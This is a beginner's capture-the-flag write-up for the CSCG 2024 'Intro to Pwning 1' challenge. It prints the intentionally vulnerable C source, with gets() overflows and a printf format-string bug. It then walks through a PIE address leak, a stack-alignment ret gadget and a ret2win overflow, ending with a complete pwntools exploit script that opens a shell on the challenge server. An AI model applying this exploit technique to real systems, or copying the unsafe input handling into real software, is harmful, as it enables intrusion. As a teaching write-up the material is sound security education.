CSCG 2024 - Intro to Pwning 1

Table of contents

Introduction

This challenge was an enjoyable introduction to the world of pwn. Although there are several excellent write-ups available, I wanted to provide a guide for complete beginners to understand how to approach this challenge.

Prerequisites

• A basic understanding of C
• Some understanding of return-oriented programming (ROP)
• Familiarity with pwntools.

First Steps

The challenge description was as follows:

This is an introductory challenge for exploiting Linux binaries with memory corruptions. Nowadays there are quite a few mitigations that make it not as straight forward as it used to be. So in order to introduce players to pwnable challenges, LiveOverflow created a video walkthrough of the first challenge.

This challenge was already featured in last year’s CSCG. We are aware that public writeups exist, but we figured this challenge is still a nice-to-have for newcomers, so we released it again.

Note: The video writeup of LiveOverflow is not completely functional. To give you hint: It’s about the address of the ret instruction that was chosen to re-align the stack. Suppose ASLR is rather ‘smooth’ - meaning a whole bunch of nibbles are zero - (which is pretty much always the case in our setup) all addresses within the offset range of 0xa00 to 0xaff translate to addresses looking like xxxxxxxxxx0axx, requiring you to send the bytes xx xx xx xx xx xx 0a xx over the wire. Now the problem with this is that 0a is a newline (\n), which in turn terminates gets() (refer to man 3 gets), meaning that your payload terminates prematurely.

Upon downloading and unzipping the ‘intro-pwn-1.zip’, you can find 5 files. Of these, only pwn1 and pwn1.c are necessary for now. We don’t need to mess with the Dockerfile yet (or at all) because we don’t need to find any libc offsets.

void WINgardium_leviosa() {
    printf("┌───────────────────────┐\n");
    printf("│ You are a Slytherin.. │\n");
    printf("└───────────────────────┘\n");
    system("/bin/sh");
}

void welcome() {
    char read_buf[0xff];
    printf("Enter your witch name:\n");
    gets(read_buf);
    printf("┌───────────────────────┐\n");
    printf("│ You are a Hufflepuff! │\n");
    printf("└───────────────────────┘\n");
    printf(read_buf);
}

void AAAAAAAA() {
    char read_buf[0xff];

    printf(" enter your magic spell:\n");
    gets(read_buf);
    if(strcmp(read_buf, "Expelliarmus") == 0) {
        printf("~ Protego!\n");
    } else {
        printf("-10 Points for Hufflepuff!\n");
        _exit(0);
    }
}
// --------------------------------------------------- MAIN

void main(int argc, char* argv[]) {
	ignore_me_init_buffering();
	ignore_me_init_signal();

    welcome();
    AAAAAAAA();
}

The end-goal as an attacker is to somehow call the WINgardium_leviosa() to spawn a shell and obtain arbitrary RCE. Checking security by running e = ELF('./pwn') with pwntools reveals the following.

    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

The lack of a stack canary opens up the potential for stack smashing combined with the vulnerable gets function, but PIE enabled means that we need to find a memory leak in order to perform a “ret2win” attack.

Taking a look at the code three vulnerabilities immediately jump out at me.

1. Stack buffer overflow with gets(read_buf); in the welcome() function.
2. Format string vulnerability with printf(read_buf).
3. Stack buffer overflow with gets(read_buf); in the AAAAAAAA() function.

Keeping these vulnerabilities in mind I came up with the following plan.

1. Leak an important memory address by passing a bunch of %p’s to printf.
2. Use the leaked address to calculate the address of WINgardium_leviosa
3. Overwrite return address in the stack and ret2win.

Writing the Actual Exploit.

I started by writing a simple Python script for local debugging:

from pwn import *
import sys

e = context.binary = ELF("./pwn1")
main_offset = e.symbols['main']

if len(sys.argv) > 1 and sys.argv[1] == 'gdb':
    io = process("./pwn1")
else:
    io = remote("example-url.cscg.live", 1337, ssl=True)
# use the attached format string reading if you don't understand what's going on here
payload = b"%p|"*50
io.sendline(payload)
pause() # attach debugger of choice here
io.interactive()

After attaching lldb to the process, I set a breakpoint at main to find its location in memory:

Breakpoint 1: where = pwn1`main, address = 0x0000555643e00af4

Taking a look at the output I spotted the exact same address in the stack 5 spots from the 50th making it the 45th pointer:

0x1|0x1|0x7f1ec3fad887|0x4b|(nil)|0x70257c70257c7025|0x257c70257c70257c|0x7c70257c70257c70|0x70257c70257c7025|
0x257c70257c70257c|0x7c70257c70257c70|0x70257c70257c7025|0x257c70257c70257c|0x7c70257c70257c70|0x70257c70257c7025|
0x257c70257c70257c|0x7c70257c70257c70|0x70257c70257c7025|0x257c70257c70257c|0x7c70257c70257c70|0x70257c70257c7025|
0x257c70257c70257c|0x7c70257c70257c70|0x7c70257c7025|(nil)|(nil)|(nil)|(nil)|(nil)|(nil)|(nil)|(nil)|0x7ffd00000000|
(nil)|0x5f91161c87dde300|(nil)|0x555643e009e9|0x7ffd7c64f7c0|0x555643e00b21|0x7ffd7c64f8d8|0x100000000|0x1|
0x7f1ec3ec2d90|(nil)|0x555643e00af4|0x100000000|0x7ffd7c64f8d8|(nil)|0xb267089d052cd1b4|0x7ffd7c64f8d8|

Running the script again confirmed that the 45th pointer would always be the address of main. Now we have a memory leak, so let’s calculate some offsets.

io.sendline("%45$p")
main_addr = int(io.recvuntil(" enter your magic spell:", drop=True)[-12:].decode(), 16)
print(f"Address of main : {hex(main_addr)}")
base_addr = main_addr - main_offset
print(f"Executable base address : {hex(base_addr)}")
win_addr = base_addr+e.symbols['WINgardium_leviosa']
print(f"WINGardium Leviosa : {hex(win_addr)}")

Stack Smashing

Now that we know the address of WINGardium_leviosa all we need to do is overwrite the return address in memory of the main function and return to WINGardium_leviosa from AAAAAAAA. First though, we need to know the offset from the start of the input buffer and the return address.

g = cyclic_gen()
cyclic_payload = g.get(0xff+1) #0xff is the buffer size
pause()
io.sendline(cyclic_payload)
io.interactive()

Running this script and examining memory with lldb, we discover that the offset between the start of buffer and the return address is 264 bytes.

Now that we have our offsets, our memory leak, and we’ve identified our stack smashing vulnerability we’re ready to perform our ret2win attack.

One thing to keep in mind is that we need to prepend the word ‘Expelliarmus’ to our attack; otherwise, the program exits without ever returning, rendering our return attack ineffective. Luckily this program is using the gets function which will continue reading past null bytes instead of terminating. This allows to prepend arbitrary content to pass a strcmp while still passing a buffer overflow payload.

So, lets craft our payload:

offset = 264
required_text = b"Expelliarmus\x00"
payload = required_text + (264-len(required_text))*b"A" + win_addr.to_bytes(8, 'little')

io.sendline(payload)
io.interactive()

Uh-oh! When we run the script locally, we get an error: exit code -11 (SIGSEGV). Looking at the debugger the program throws an error on MOVAPS. Taking a look at the first result on Google (ROP Emporium, it turns out that in some cases “The 64 bit calling convention requires the stack to be 16-byte aligned.” So in order to align the stack we can add one more ret instruction to our chain, but how? We know that any section of code in memory can be executed by jumping to it. If we prepend the address of a ret instruction to our overflow payload, it will jump to and run the instruction. When we run the instruction for the second time it’ll just pop another 8 bytes off the stack into the %rip register. So, let’s just add a ret instruction to the chain.

rop = ROP('./pwn1')
ret_addr = base_addr + rop.ret[0]

offset = 264
required_text = b"Expelliarmus\x00"
payload = required_text + (264-len(required_text))*b"A" + ret_addr.to_bytes(8, 'little') + win_addr.to_bytes(8, 'little')
io.sendline(payload)
io.interactive()

After adding the instruction we get a shell, and now we just run cat flag for the flag.

Flag : CSCG{NOW_PRACTICE_EVEN_MORE}

Appendix

Solve Script:

from pwn import *
import sys

e = context.binary = ELF("./pwn1")
main_offset = e.symbols['main']

if len(sys.argv) > 1 and sys.argv[1] == 'gdb':
    io = process('./pwn1')

else:
    io = remote("49c5aa893e445ac502d05830-1024-intro-pwn-1.challenge.cscg.live", 1337, ssl=True)

format_payload = "%45$p"

"""
for i in range (50):
    payload += f"%p|"
"""
io.recvuntil("name:")
io.sendline(format_payload)
main_addr = int(io.recvuntil(" enter your magic spell:", drop=True)[-12:].decode(), 16)
print(f"Address of main : {hex(main_addr)}")
base_addr = main_addr - main_offset
print(f"Executable base address : {hex(base_addr)}")
win_addr = base_addr+e.symbols['WINgardium_leviosa']
print(f"WINGardium Leviosa : {hex(win_addr)}")

"""
g = cyclic_gen()
cyclic_payload = g.get(0xff+1) #0xff is the buffer size
pause() # attach debugger of choice here
io.sendline(cyclic_payload)
"""

rop = ROP('./pwn1')
ret_addr = base_addr + rop.ret[0]

offset = 264
required_text = b"Expelliarmus\x00"
payload = required_text + (264-len(required_text))*b"A" + ret_addr.to_bytes(8, 'little') + win_addr.to_bytes(8, 'little')

io.sendline(payload)
io.interactive()

Further Reading:

• Format String Exploitation
• MOVAPS Segfault